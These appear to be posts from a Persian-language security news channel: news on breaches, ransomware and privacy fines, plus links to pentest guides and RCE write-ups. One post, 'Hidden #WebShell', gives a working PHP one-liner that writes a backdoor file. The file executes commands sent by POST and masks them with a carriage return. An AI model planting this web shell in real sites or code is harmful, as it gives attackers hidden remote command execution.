حتما طی این چندروز در مورد چالش ده سال، تصاویر یا اخباری رو دیدید.
این چالش در شبکه های اجتماعی فیسبوک، اینستاگرام و توییتر تبدیل به یک ترند شده و افراد تصاویر ده سال پیش و الان خودشون رو در کنار هم قرار میدن تا تغییراتی که از نظر ظاهری داشتن، به نمایش بگذارن.

اما این چالش میتونه زوایای دیگه ای داشته باشه که باید از اون اطلاع داشته باشید.
شاید خیلی ها بگن که آپلود این تصاویر تغییری در دیتای شبکه های اجتماعی ایجاد نمیکنه و اونها تصاویر اکثر ماها رو از قبل دارن ولی طبق الگوریتم های تشخیص چهره نکاتی در این چالش هست.
بانک تصاویر جمع آوری شده توسط شبکه های اجتماعی هرچند دارای برچسب زمانی هست اما جمع آوری و ساخت دیتاست از این حجم عظیم تصاویر باعث ایجاد یک مجموعه ی بزرگ خواهد شد که بخش عمده ای از اون در یک «آزمون تعیین میزان تغییرات چهره در طی ده سال» بلا استفاده و به نوعی نویز به حساب میاد.
بعلاوه، افراد در طی زمان تصاویر متعدد و بعضا بی ربط به خودشون و زمانی که در اون زندگی میکنن رو بعنوان تصویر پروفایل استفاده میکنن که باز هم موجب بهم ریختن مجموعه ی مذکور میشه.
در واقع این چالش میتونه به شبکه های اجتماعی کمک کنه که یک مجموعه بی نقص و کارا از تغییرات چهره ی افراد داشته باشن.
‍


اطلاعات بیشتر:
https://www.wired.com/story/facebook-10-year-meme-challenge/


#news
#10yearchallenge
#facebook
#Instagram
#twitter
#facial_recognition

@sec_nerd

راهنمای جامع کشف ساب دامین ها

https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6


#web
#pentest
#bugbounty
#subdomain


@sec_nerd

بعد از پدر امنیت (بهروز آیس) حالا از پدر آی تی خاورمیانه هم رونمایی شد که این حوزه ی حساس بی پدر نمونده باشه.


#fun

@sec_nerd

آپدیت کنید!

#android


@sec_nerd

بالابردن سطح دسترسی در لینوکس با سوء استفاده از apt یا dpkg

https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/


#linux
#privesc
#debian

@sec_nerd

ایجاد reverse shell با روشهای مختلف و با کمک متاسپلویت


https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/


#pentest
#windows
#msf
#privesc


@sec_nerd

موتورهای جستجوی مخصوص هکرها

censys.io/
https://www.shodan.io/
https://viz.greynoise.io/table
https://www.zoomeye.org/
https://fofa.so/
https://www.onyphe.io/
https://app.binaryedge.io/
https://hunter.io/
https://wigle.net/
https://ghostproject.fr/


#pentest
#enum

@sec_nerd

لیست فایل های قابل آزمودن برای جمع آوری اطلاعات در سرورهای ویندوزی

https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt


#windows
#pentest
#lfi
#sqli
#web


@sec_nerd

رایت آپ کشف آسیب پذیری LFD در یک وبسایت

https://medium.com/@tomi_70353/antihack-me-multiple-vulnerabilities-215ec0d6f064


#lfd
#web
#pentest
#writeup


@sec_nerd

پلاگین معروف وردپرس با نام WPML که معروف ترین پلاگین ترجمه وبسایت به زبان های مختلف است توسط یکی از توسعه دهندگان سابقش هک شد.
این فرد همچنین وبسایت پلاگین مذکور را نیز دیفیس کرد. او ایمیل های جمعی به کاربران این پلاگین ارسال و اعلام کرد که در مراحل مختلفی اقدام به تذکر به تیم طراح در خصوص ایرادات پلاگین کرده اما این تذکرات وی جدی گرفته نشده است.
این پلاگین بیش از ۶۰۰ هزار مشتری دارد که برای استفاده از آن پول پرداخت کرده اند.


منبع:
https://www.zdnet.com/article/popular-wordpress-plugin-hacked-by-angry-former-employee/

#breach
#wordpress
#wp
#news


@sec_nerd

مهندسی معکوس برنامه های اندروید

https://hydrasky.com/mobile-security/reverse-engineering-android-apk-files/


#android
#RE


@sec_nerd

الکساندر ژوکف ۳۸ ساله که توسط بلغارستان به امریکا تحویل داده شده بود از اتهاماتش تبرعه شد!
این فرد متهم به دست داشتن در یک کمپین کلاهبرداری تبلیغاتی بود که بیش از یک میلیون و هفتصد هزار کامپیوتر را در جهان آلوده کرده است. این کمپین 3ve نام داشت و از سال ۲۰۱۴ تا ۲۰۱۸ فعالیت میکرد.
پس از تعطیل شدن این کمپین با همکاری چندین سازمان امنیتی، هشت نفر از روسیه، اوکراین و قزاقستان مورد اتهام قرار گرفتند که ژوکف یکی از آنها بود.



منبع:
https://thehackernews.com/2019/01/russian-hacker-ad-fraud.html


#news
#russia
#usa
#malware


@sec_nerd

فرانسه گوگل را بدلیل رعایت نکردن قوانین GDPR (مقررات حفاظت از اطلاعات عمومی)‌ نزدیک به ۵۷ میلیون دلار جریمه کرد!
طبق قانون GDPR غول های اینترنتی نظیر گوگل باید تصویر واضحی از داده هایی که از کاربران جمع آوری میکنند و قابلیت کنترل این داده ها را با ابزارهای خاصی در اختیار آنان قرار دهند.
در هر دو مورد فوق گوگل به درستی عمل نکرده است.
شایان ذکر است که گوگل تنها شرکتی نیست که شکایاتی علیه آن توسط کاربران وضع شده است.



اطلاعات بیشتر:
https://www.washingtonpost.com/world/europe/france-fines-google-nearly-57-million-for-first-major-violation-of-new-european-privacy-regime/2019/01/21/89e7ee08-1d8f-11e9-a759-2b8541bbbe20_story.html


#news
#google
#europe
#gdpr
#privacy


@sec_nerd

به نظر میرسد باج افزار BlackRouter که پیش از این توسط کارشناسان TrendMicro شناسایی شده بود مالکی ایرانی دارد!
شرکت ترندمایکرو در این گزارش توضیحات فنی در خصوص این باج افزار و اتصال آن به برنامه کاربردی AnyDesk داده بود.
در گزارش جدید MalwareHunterTeam تفاوت های این باج افزار با نسخه جدید آن مورد اشاره قرار گرفته است که از جمله این تغییرات میتوان به ظاهر بهبود یافته ی آن اشاره کرد.
پیش از این و در ماه دسامبر یک صفحه اینستاگرامی متعلق به هکرهای ایرانی خبر از آغاز دور جدید توسعه BlackRouter داده بود که در تلگرام و اینستاگرام به نوعی Ransomware-as-a-Service را تبلیغ کرده و از سایرین نیز دعوت به همکاری نموده و ۸۰ درصد مبلغ را به فردی که موفق به آلوده کردن و دریافت باج شود پرداخت و مابقی را صرف توسعه این باج افزار می نماید.
در صفحه پرداخت این باج افزار نیز دو والت جداگانه وجود دارد که در مجموع ۳۰۰ دلار طلب میکند.


منبع:
https://securityaffairs.co/wordpress/80126/malware/blackrouter-raas-iranian-dev.html


#news
#iran
#ransomware
#malware


@sec_nerd

مجموعه رایت آپ های مرتبط با کشف RCE در شرکت های بزرگ

https://sites.google.com/site/testsitehacking/-36k-google-app-engine-rce

https://thehackerblog.com/i-too-like-to-live-dangerously-accidentally-finding-rce-in-signal-desktop-via-html-injection-in-quoted-replies/index.html

https://www.sec-down.com/wordpress/?p=87

https://pwnrules.com/flickr-from-sql-injection-to-rce/

https://pentester.land/list-of-bug-bounty-writeups.html

https://medium.com/bugbountywriteup/how-i-got-5500-from-yahoo-for-rce-92fffb7145e6

https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a

https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html

https://matatall.com/xss/rce/bugbounty/2015/09/08/xss-to-rce.html

https://ysx.me.uk/taking-note-xss-to-rce-in-the-simplenote-electron-client/

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/

https://medium.com/bugbountywriteup/rocet-remote-code-execution-tool-11efa54654d5

https://medium.com/bugbountywriteup/how-an-instagrams-story-drives-me-to-a-remote-code-execution-9ff96458ec89

https://www.contextis.com/en/blog/frag-grenade-a-remote-code-execution-vulnerability-in-the-steam-client

https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution

https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1

#rce
#web
#pentest
#writeup
#bugbounty

@sec_nerd

آسیب پذیری 0day در apt که منجر به اجرای دستور از راه دور در سیستم های لینوکسی میشود

شناسه : CVE-2019-3462


https://justi.cz/security/2019/01/22/apt-rce.html


#linux
#debian
#rce


@sec_nerd

Hidden #WebShell

echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.php


#php
#web

@sec_nerd

تبریک به مدیران و دست اندرکاران وبسایت آپارات که موفق شدن وارد صد سایت برتر رده بندی جهانی از دید الکسا بشن!

بها دادن به سرویس های وطنی اونطور که بعضی ها در برابرش جبهه گیری میکنن هم بد نیست.

آپارات یک نمونه خوب و موفق هست که نشانه ی خوبی از بی اساس بودن تحلیلهای برخی افراد هست.

https://www.alexa.com/siteinfo/aparat.com

#aparat
#iran
#alexa

@sec_nerd

دور زدن محدودیت های شبکه با استفاده از RDP

https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html


#rdp
#windowns
#pentest
#privesc
#network


@sec_nerd